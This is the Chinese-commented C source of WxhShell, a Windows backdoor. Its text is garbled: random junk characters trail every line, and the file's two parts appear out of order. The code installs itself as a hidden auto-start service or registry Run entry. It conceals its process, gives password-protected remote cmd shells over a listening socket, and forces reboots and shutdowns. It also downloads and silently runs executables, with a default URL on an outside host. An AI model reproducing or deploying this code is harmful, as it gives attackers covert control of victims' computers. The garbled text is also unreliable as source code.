    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MeplM$9  
    if(Boot(SHUTDOWN)) +Z;0"'K'e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _4E+7+  
    else { ZN4&:9M  
    closesocket(wsh); :cynZab  
    ExitThread(0); :He:Bdk  
    } '.kbXw0}  
    break; n<hwstk  
    } m9e$ZZG$  
  // 获取shell V|a 59 [y?  
  case 's': { ;=^WIC+Nr  
    CmdShell(wsh); LoCxoAg  
    closesocket(wsh); sJM}p5V  
    ExitThread(0); }+=@Ci  
    break; ` jUn  
  } / TJTu_#  
  // 退出 (U.&[B  
  case 'x': { 4P:vo$Cy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wy -!1wd  
    CloseIt(wsh); 6kDU}]c:H]  
    break; QM_~w \  
    } RgRcW5VxK  
  // 离开 M]_vb,=1  
  case 'q': { a9qZI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1gm{.*G  
    closesocket(wsh); u8,T>VNVw  
    WSACleanup(); >=Rb:#UM  
    exit(1); A6U6SvM;  
    break; ~~fL`"  
        } 92tb`'  
  } %vThbP#mR|  
  } K 6G n  
dkn_`j\v  
  // 提示信息 ?t%5/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1b D c ct  
} q;AQ6k(  
  } vcSS+  
g,W#3b6>j  
  return; e| l?NXRX  
} Wex4>J<`/  
4Sl^cKb$7  
// shell模块句柄 Ux<h` s  
int CmdShell(SOCKET sock)  9q5[W=|  
{ ){(cRB$  
STARTUPINFO si; gSv<.fD"  
ZeroMemory(&si,sizeof(si)); V\xQM;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [a Z)*L ;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;s!H  
PROCESS_INFORMATION ProcessInfo; EPg?jKZava  
char cmdline[]="cmd"; q_K1L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |JDJ{;o  
  return 0; v|'N|k l  
} >L(F{c:  
*>#cs#)  
// 自身启动模式 J+4uUf/d!  
int StartFromService(void) @kK=|(OB'  
{ g bh:Y}_FU  
typedef struct x~z 2l#ow  
{ 0qZ)$ YKq  
  DWORD ExitStatus; V cL  
  DWORD PebBaseAddress; IpP0|:}  
  DWORD AffinityMask; $k?L?R1  
  DWORD BasePriority; JU6np4  
  ULONG UniqueProcessId; oe<Y,%u"6  
  ULONG InheritedFromUniqueProcessId; INT2i8oU  
}   PROCESS_BASIC_INFORMATION; Qp54(`  
GhT7:_r~  
PROCNTQSIP NtQueryInformationProcess; .edZKmC6  
^ Q}1&w%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RAxz+1JT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]aR4U`  
+Oscy-;  
  HANDLE             hProcess; 9%wppNT/  
  PROCESS_BASIC_INFORMATION pbi; f:SF&t*  
z~_\onC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .G]# _U  
  if(NULL == hInst ) return 0; ~_&.A*Jh  
 %!S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +u2Co_FJ&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vOS0E^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }X?*o `sW  
R;yAqr29  
  if (!NtQueryInformationProcess) return 0; #+G2ZJxL|  
V Y3{1Dlf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `3KprpE8v  
  if(!hProcess) return 0; 0_EF7`T  
K_aN7?#.v`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S#9SAX [  
MD)"r>k  
  CloseHandle(hProcess); Hn~1x'$  
SMFW]I2T/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Sqm`)\>4  
if(hProcess==NULL) return 0; $Da^z[8e  
"m3Y))a  
HMODULE hMod; v\eBL&WK  
char procName[255]; EHHxCq?  
unsigned long cbNeeded; bij?q\  
{Jc!T:vJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ss<'g@R  
GP$ Y4*y/  
  CloseHandle(hProcess); !;gke,fB  
{+:XVT_+  
if(strstr(procName,"services")) return 1; // 以服务启动 pYG,5+g  
4:']'E  
  return 0; // 注册表启动 u2< h<}Y  
} S+G)&<a^  
cZ>W8{G  
// 主模块 x,dv ~QU  
int StartWxhshell(LPSTR lpCmdLine) v~Qy{dn P  
{ r\d:fot  
  SOCKET wsl; }hYE6~pr  
BOOL val=TRUE; W wha?W>  
  int port=0; }D+8K  
  struct sockaddr_in door; l,FoK76G  
5KR|p Fq  
  if(wscfg.ws_autoins) Install(); pG6-.F;  
~S6{VK.  
port=atoi(lpCmdLine); B6\VxSX4{  
cloI 6%5r  
if(port<=0) port=wscfg.ws_port; %#9~V  
@U{M"1zZe  
  WSADATA data; ai4^NJn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [{F7Pc  
WZ&@ JB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3L?a4,Q"k}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |sa7Y_  
  door.sin_family = AF_INET; XB-|gPk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U_'q-*W  
  door.sin_port = htons(port); Nh9!lBm*]  
xUi!|c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;;!{m(;LS}  
closesocket(wsl); |:+pPh!-  
return 1; +3>/,w(x  
} >;v0zE  
L0b] ^_ tI  
  if(listen(wsl,2) == INVALID_SOCKET) { QV$dKjMS  
closesocket(wsl); "NH+qQhs  
return 1; ~q(C j"7  
} -/c1qLdQ  
  Wxhshell(wsl); P &0cF{  
  WSACleanup(); 9Fx z!-9m  
:s '"u]  
return 0; ddDJXk)!0  
T1HiHvJ  
} &6=ZT:.6Te  
Os 2YZ<t  
// 以NT服务方式启动 }#*zjMOz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h<ctW>6v  
{ Y0O<]2yVx  
DWORD   status = 0; -#;VFSz,9*  
  DWORD   specificError = 0xfffffff; 8;\tP29  
|~LjH|*M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w9<FX>@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C$G88hesn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' 5 qL  
  serviceStatus.dwWin32ExitCode     = 0; 9c}]:3#XO  
  serviceStatus.dwServiceSpecificExitCode = 0; u6I0<i_KZ  
  serviceStatus.dwCheckPoint       = 0; 50bP&dj&  
  serviceStatus.dwWaitHint       = 0; y' |W['  
n3g WM C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ":#x\;  
  if (hServiceStatusHandle==0) return; s k6|_  
PB<Sc>{U  
status = GetLastError(); SA 4je9H%  
  if (status!=NO_ERROR) Po!JgcJ#\  
{ =tRe3o0(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3KFrVhB=  
    serviceStatus.dwCheckPoint       = 0; 0*IY%=i  
    serviceStatus.dwWaitHint       = 0; A;j$rGx  
    serviceStatus.dwWin32ExitCode     = status; Qn)[1v  
    serviceStatus.dwServiceSpecificExitCode = specificError; S%s|P=u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f9XO9N,hE:  
    return; D3AtYt  
  } wQrPS  
M(WOxZ8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $_7d! S"  
  serviceStatus.dwCheckPoint       = 0; VfC[U)w*vm  
  serviceStatus.dwWaitHint       = 0; C+]q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UFAMbI  
} \v P2B  
i =fOdp  
// 处理NT服务事件,比如:启动、停止 t2%@py*bU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >`?+FDOJ,  
{ ]#-/i2-K  
switch(fdwControl) aco}pXz  
{ <\9Ijuq}k  
case SERVICE_CONTROL_STOP: )tI2?YIR  
  serviceStatus.dwWin32ExitCode = 0; -KJ!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *ez~~ Y  
  serviceStatus.dwCheckPoint   = 0; KYmWfM3^  
  serviceStatus.dwWaitHint     = 0; ? ]:EmP  
  { F;&f x(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a0/n13c?G  
  } J(&M<<%  
  return; b}*@=X=4o  
case SERVICE_CONTROL_PAUSE: {p*hNi)0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nh&J3b}B!  
  break; IJBJebqL  
case SERVICE_CONTROL_CONTINUE: J%-lw{FC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s?;<F  
  break; `ToRkk&&>{  
case SERVICE_CONTROL_INTERROGATE: p5# P r  
  break; GKsL~;8"  
}; si!9Gz;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IU'!?XVo  
} MHr0CYyb.  
`\4JwiPo  
// 标准应用程序主函数 Rr;LV<q+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !%RJC,X  
{ seqF84Xd<  
~SR(K{nf#.  
// 获取操作系统版本 fF9oYOh|  
OsIsNt=GetOsVer(); J,0WQQnb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EO 9kE.g  
i h$@:^\  
  // 从命令行安装 l;{N/cS  
  if(strpbrk(lpCmdLine,"iI")) Install(); id#k!*$7  
tp0!,ne*  
  // 下载执行文件 k"^t?\Q%vI  
if(wscfg.ws_downexe) { C`th^dqBV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D@r n@N  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?4,*RCaI  
} #SihedWi  
?<yq 2`\4O  
if(!OsIsNt) { AR+\uD=\I-  
// 如果时win9x,隐藏进程并且设置为注册表启动 gcW{]0%L^  
HideProc(); cxP9n8CuT  
StartWxhshell(lpCmdLine); v1X&p\[d  
} MNf@HG  
else \BbOljM=  
  if(StartFromService()) _^xh1=Qr}n  
  // 以服务方式启动 )*TW\v`B  
  StartServiceCtrlDispatcher(DispatchTable); ;*g*DIR  
else =4M.QA@lI!  
  // 普通方式启动 TH(Lzrbg  
  StartWxhshell(lpCmdLine); /!{A=N  
(9YYv+GGd*  
return 0; \{M rQ2jd  
} X4P}aC  
sQ>B_Y!  
gGI#QPT`X  
RLu$$Eb  
=========================================== 5;K-,"UQ  
kP}hUrDX5  
we H@S  
=~W0~lxX  
)S wG+k,  
SP D207  
" &` 00/p  
g@k#J"Q '[  
#include <stdio.h> y[^k*,= 9  
#include <string.h> Kixr6\  
#include <windows.h> ?LV-W  
#include <winsock2.h> R!_8jD:$  
#include <winsvc.h> ,yM}]pwlB  
#include <urlmon.h> b5n]Gp  
Av;q:x?  
#pragma comment (lib, "Ws2_32.lib") /XW&q)z-Hl  
#pragma comment (lib, "urlmon.lib") I", &%0ycm  
}o!#_N0T  
#define MAX_USER   100 // 最大客户端连接数 tkdBlG]!  
#define BUF_SOCK   200 // sock buffer e$ XY\{  
#define KEY_BUFF   255 // 输入 buffer %eutfM-?6  
V &mH#k  
#define REBOOT     0   // 重启 y ;{^Ln4{  
#define SHUTDOWN   1   // 关机 x:A-p..e  
~<2 IIR$H  
#define DEF_PORT   5000 // 监听端口 v ]/OAH6D  
*gM,x4Y  
#define REG_LEN     16   // 注册表键长度 ~$&:NB1~q  
#define SVC_LEN     80   // NT服务名长度 't0+:o">:  
&*G5J7%w  
// 从dll定义API  /i-xX*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sc4obcw%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0|fb< "  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }pl]9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ci7P%]9  
"EcX_>  
// wxhshell配置信息 %]a @A8o0  
struct WSCFG { nabBU4;h  
  int ws_port;         // 监听端口 /~3N@J  
  char ws_passstr[REG_LEN]; // 口令 F`Dg*O  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]6$,IKE7  
  char ws_regname[REG_LEN]; // 注册表键名 @uI?  
  char ws_svcname[REG_LEN]; // 服务名 DS#c m3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Usa+b A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DA<F{n.Z:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 di6B!YQP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G(U9rJ9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7d&DrI@~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K0w<[CO  
NFk}3w:  
}; "z rA``  
0 HGlf  
// default Wxhshell configuration BdN8 ^W  
struct WSCFG wscfg={DEF_PORT, ,Bisu:v6FW  
    "xuhuanlingzhe", )v[XmJ>H~o  
    1, 63W{U/*aao  
    "Wxhshell", WtEI] WO  
    "Wxhshell", :.*HQt9N  
            "WxhShell Service", \HAJ\9*w)  
    "Wrsky Windows CmdShell Service", KAd_zkUA  
    "Please Input Your Password: ", J,f/fPaf7  
  1, q[7CPE0n  
  "http://www.wrsky.com/wxhshell.exe", >(X #<`  
  "Wxhshell.exe" )uZoH 8?  
    }; Zp?4uQ)[W  
RFw(]o,9cR  
// 消息定义模块 KQ&Y2l1*>>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3sH\1)Zz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S]}}A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *HR +a#o  
char *msg_ws_ext="\n\rExit."; LO)GTyzvJ  
char *msg_ws_end="\n\rQuit."; qu_)`wB  
char *msg_ws_boot="\n\rReboot..."; {m[s<A(  
char *msg_ws_poff="\n\rShutdown..."; '"y}#h__T  
char *msg_ws_down="\n\rSave to "; P?kx  
I%oRvg|q  
char *msg_ws_err="\n\rErr!"; bW53" `X  
char *msg_ws_ok="\n\rOK!"; z~,mRgc$B  
2 P=[  
char ExeFile[MAX_PATH]; 11@]d ]v ,  
int nUser = 0; ipobr7G.SD  
HANDLE handles[MAX_USER]; +R!zs  
int OsIsNt; Y9F)`1 7  
-."kq.m*  
SERVICE_STATUS       serviceStatus; dL-i)F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2 nv[1@M  
)l&D]3$6K  
// 函数声明 6B0# 4Qrv  
int Install(void); IV'p~t  
int Uninstall(void); ;j{7!GeKa  
int DownloadFile(char *sURL, SOCKET wsh); CEuWw:)  
int Boot(int flag); J! {Al  
void HideProc(void); F@Q^?WV  
int GetOsVer(void); }Z\wH*s`  
int Wxhshell(SOCKET wsl); @Br {!#Wf  
void TalkWithClient(void *cs); OO nX`  
int CmdShell(SOCKET sock); i31<].|kA*  
int StartFromService(void); Us,)]W.S  
int StartWxhshell(LPSTR lpCmdLine); wd[eJcQ,  
ldGojnS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8$0\J_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r`j Wp\z  
>{C\H.N  
// 数据结构和表定义 `1Zhq+s  
SERVICE_TABLE_ENTRY DispatchTable[] = R_^/,^1  
{ v?%LQKO  
{wscfg.ws_svcname, NTServiceMain}, d|XmasGN  
{NULL, NULL} !SO8O  
}; ` J]xP$)  
T>A{ qu  
// 自我安装 F30 ]  
int Install(void) XM/vDdR  
{ %d1draL  
  char svExeFile[MAX_PATH]; 8Hi!kc;f6>  
  HKEY key; X8i(~ B  
  strcpy(svExeFile,ExeFile); PY`L$e  
9xFO]Y"  
// 如果是win9x系统,修改注册表设为自启动 DVlJ*A  
if(!OsIsNt) { Iy';x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kc #|Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (CJ.BHu]  
  RegCloseKey(key); DIaYo4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d--'Rn5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `pL^}_>|GM  
  RegCloseKey(key); <P_ea/5:|  
  return 0; (gwj)?:  
    } 9M a0^_  
  } KVPR}qTP;  
} =Q<L eh=G  
else { ,lt8O.h-l  
y<- _(^  
// 如果是NT以上系统,安装为系统服务 S QY"OBo<e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -)jax  
if (schSCManager!=0) w8Vw1wW  
{ j}:~5|.  
  SC_HANDLE schService = CreateService >Kivuc  
  ( o31Nmy Ni  
  schSCManager, rY0u|8.5Q  
  wscfg.ws_svcname, "Pz}@=  
  wscfg.ws_svcdisp, 4-R^/A0  
  SERVICE_ALL_ACCESS, [q*%U4qGO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?+0GfIV  
  SERVICE_AUTO_START, >9H@|[C  
  SERVICE_ERROR_NORMAL, a.@qGsIH  
  svExeFile, 4/e60jA  
  NULL, x%N\5 V1  
  NULL, c~=B0K-  
  NULL, 2HD]?:Fk7  
  NULL, k |YWOy@D~  
  NULL XL$* _c <)  
  ); aG+j9Q_  
  if (schService!=0) l"(6]Z 4  
  { wQ+8\ s=  
  CloseServiceHandle(schService); ]y@F8$D!  
  CloseServiceHandle(schSCManager); ytz SAbj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EH*o"N`!r  
  strcat(svExeFile,wscfg.ws_svcname); _[K"gu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EW<kI+0D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e>}}:Ud  
  RegCloseKey(key); e@#kRklV&  
  return 0; ?GA&f2]a  
    } <#M`5X.  
  } 1f'Hif*r_X  
  CloseServiceHandle(schSCManager); @n&<B`/  
} (u3s"I d  
} #A7jyg":  
Bux [6O %  
return 1; uI~S=;o  
} N8r*dadDd  
-r7]S  
// 自我卸载 )B# ,  
int Uninstall(void) N|g;W  
{ S=`+Ryc  
  HKEY key; ~EzaC?fQ  
:1ecx$  
if(!OsIsNt) { I6!5Yj]O"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZY,@c  
  RegDeleteValue(key,wscfg.ws_regname); R6-n IY,  
  RegCloseKey(key); H( jXI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :O<bA& :d  
  RegDeleteValue(key,wscfg.ws_regname); 4Y> Yi*n  
  RegCloseKey(key); epHJ@W@#  
  return 0; #H?t!DU  
  }  +=q)  
} }A=y=+4 j  
} cF)/^5Z  
else { U9y|>P\)T  
*^\HU=&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :~Q!SL N  
if (schSCManager!=0) H5CR'Rp  
{ mW2,1}Jv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PNOGN|D  
  if (schService!=0) l>gI&1)%  
  { 57a2^  
  if(DeleteService(schService)!=0) { B(?Yw>Xd[  
  CloseServiceHandle(schService); vbx6I>\Y  
  CloseServiceHandle(schSCManager); K;hh&sTB  
  return 0; 7;@ST`cC  
  } /M;#_+VK<  
  CloseServiceHandle(schService); fKC3-zm  
  } 9Jf)!o8  
  CloseServiceHandle(schSCManager); im} ?rY  
} :A %^^F%  
} ?bZovRx  
Wz4&7KYY  
return 1; ,;?S\V  
} `\`>0hlu  
Ho DVn/lr  
// 从指定url下载文件 j"^ +oxH  
int DownloadFile(char *sURL, SOCKET wsh) VErv;GyV  
{ E!BPE>  
  HRESULT hr; 7!,YNy%  
char seps[]= "/"; {t"+ 3zy'  
char *token; pLa[}=  
char *file; NjPDX>R\K  
char myURL[MAX_PATH]; 1g# #sSa6  
char myFILE[MAX_PATH]; l0&EZN0V2  
KrVcwAcq|1  
strcpy(myURL,sURL); \!IMaB]  
  token=strtok(myURL,seps); ah @uUHB  
  while(token!=NULL) !Fo*e  
  { Uoya3#4 G  
    file=token; >3 yk#U|7}  
  token=strtok(NULL,seps); MV_Srz  
  } 0]QRsVz+  
8l}1c=A}Vi  
GetCurrentDirectory(MAX_PATH,myFILE); 6S6f\gAM  
strcat(myFILE, "\\"); dzK{ Z  
strcat(myFILE, file); c_aZ{S  
  send(wsh,myFILE,strlen(myFILE),0); QB.J,o*XD4  
send(wsh,"...",3,0); ZyOv.,y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v_e9}yI   
  if(hr==S_OK) g  %K>  
return 0; (,^*So/  
else .=m,hu~  
return 1; (b?{xf'G  
o"wXIHUmV  
} M8H5K  
26X+ }^52  
// 系统电源模块  Qk!;M |  
int Boot(int flag) `%+ mO88o  
{ izh<I0  
  HANDLE hToken; UnVm1ZWZ  
  TOKEN_PRIVILEGES tkp; [."[pY  
G?f\>QSZ  
  if(OsIsNt) { p!]6ll^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ??TMSH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s yU9O&<  
    tkp.PrivilegeCount = 1; &//wSlL3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DAo~8H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1qV@qz  
if(flag==REBOOT) { ^[%%r3"$C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZmOfEg|h\  
  return 0; OD' ]:  
} l3N I$Z u  
else { r{L4]|(utY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1c JF/"v  
  return 0; ?#yV3h|Ij  
} I`z@2Z+pJ  
  } n wI!O  
  else { vI$t+m:  
if(flag==REBOOT) { *yl>T^DjTC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pJN${  
  return 0; S+TOSjfis  
} s2j['g5  
else { V\(:@0"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %OgS^_tu  
  return 0; -hC,e/+  
} cRX~z  
} XZw6Xtn  
qfcYE=  
return 1; "c}@V*cO<d  
} JG{j)O|L  
2Z20E$Cb  
// win9x进程隐藏模块 :eo  
void HideProc(void) ''\;z<v   
{ q80S[au  
}I`a`0/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?\8?%Qk  
  if ( hKernel != NULL ) s;UH]  
  { '+j} >Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /?'; nGq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r\nx=  
    FreeLibrary(hKernel); K't]n{$  
  } czlFr|O;  
#+$Q+Z|6k  
return; <0S=,!  
} ;gC|  
"`6n6r42  
// 获取操作系统版本 +a^F\8H  
int GetOsVer(void) dMR3)CO  
{ pLv$\ MiZ  
  OSVERSIONINFO winfo; fib}b? vk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :!zl^J;  
  GetVersionEx(&winfo); $=?@*p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1:Si,d,wh  
  return 1; l }XU 59  
  else R *F l8   
  return 0; YJ(*wByM  
} d#2$!z#  
ioPUUUb)  
// 客户端句柄模块 wf1lyS  
int Wxhshell(SOCKET wsl) u{["50~  
{ 43V}# DA@  
  SOCKET wsh; _HhbIU  
  struct sockaddr_in client; a1Qv@p^._b  
  DWORD myID; !'LW_@  
 @3kKJ  
  while(nUser<MAX_USER) eW|^tH  
{ If%/3UJ@  
  int nSize=sizeof(client); +**!@uY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }^B6yWUN  
  if(wsh==INVALID_SOCKET) return 1; s`>[F@N7.o  
UwC=1g U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ali9pvE  
if(handles[nUser]==0) (rg;IXAq%  
  closesocket(wsh); ,]b~t0|B  
else N>>uCkC  
  nUser++; +VQ\mA59  
  } %c[V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZcYh) HD  
~)(\6^&=|  
  return 0; }`+B=h-dW  
} r_;9' #&'  
XV^1tX>f{  
// 关闭 socket n("0%@ov  
void CloseIt(SOCKET wsh) 2k<;R':  
{ q{+_ <2U|  
closesocket(wsh); fU!<HD h  
nUser--; H:"ma S\I  
ExitThread(0); VE8;sGaJ  
} c&L"N!4z  
P (S>=,Y&  
// 客户端请求句柄 *}8t{ F@k  
void TalkWithClient(void *cs) 4 {9B9={  
{ MX+ Z ?  
"+unS)M;Y  
  SOCKET wsh=(SOCKET)cs; O(_[ayE  
  char pwd[SVC_LEN]; Afk$?wkL  
  char cmd[KEY_BUFF]; r;m)nRu  
char chr[1]; IIyI=Wl pG  
int i,j; rSrIEP,c'  
FN[{s  
  while (nUser < MAX_USER) { ]n-:Yv5 W  
tY <Z'xA?  
if(wscfg.ws_passstr) { xC tmXo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -1J[n0O.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @$T 9Ll  
  //ZeroMemory(pwd,KEY_BUFF); NssELMtF!g  
      i=0; -ig6w.%lk  
  while(i<SVC_LEN) { $HJwb-I  
O eL}EVs8=  
  // 设置超时 a+Ac[>  
  fd_set FdRead; ~,*b }O  
  struct timeval TimeOut; GH[wv<  
  FD_ZERO(&FdRead); gy nh#&r  
  FD_SET(wsh,&FdRead); ZI=v.wa  
  TimeOut.tv_sec=8; ~9j%Hm0ht  
  TimeOut.tv_usec=0; Z> r^SWL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JY6 Q p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P 3'O/!  
cH>%r^G\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2,*M|+W~  
  pwd=chr[0]; 3$X'Y]5a  
  if(chr[0]==0xd || chr[0]==0xa) { P+$:(I  
  pwd=0; __.+s32SS$  
  break; Xn{1 FJX/  
  } r\/+Oa'  
  i++; t]-5 ]oI  
    } 2p " WTd  
7.`fJf?  
  // 如果是非法用户,关闭 socket tToTxf~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f;b[w   
} y:6; LZ9[  
H *)NLp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +>PX&F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y99mC$"Ee`  
8w.YYo8`  
while(1) { 8-O)Xx}cU  
#_u~/jhX  
  ZeroMemory(cmd,KEY_BUFF); h2D>;k  
z[;z>8|c  
      // 自动支持客户端 telnet标准   ,2W8=ON  
  j=0; K>{T_){  
  while(j<KEY_BUFF) { Gh}*q|Lz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sm5H_m!  
  cmd[j]=chr[0]; p3 ^ m9J  
  if(chr[0]==0xa || chr[0]==0xd) { ^f(@gS}?  
  cmd[j]=0; eow'K 821A  
  break; O<V4HUW  
  } S;- LIv  
  j++; )KAEt.  
    } /~<@*-'  
G nG>7f[v  
  // 下载文件 ^- d%r  
  if(strstr(cmd,"http://")) { ~Rr~1I&mR,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); is-7 j7;  
  if(DownloadFile(cmd,wsh)) 5^x1cUB]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g pOC`=  
  else UNBH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( U xW;  
  } w.TuoWo>  
  else { j{Q9{}<e  
>j QWn@  
    switch(cmd[0]) { {Ja!~N;3  
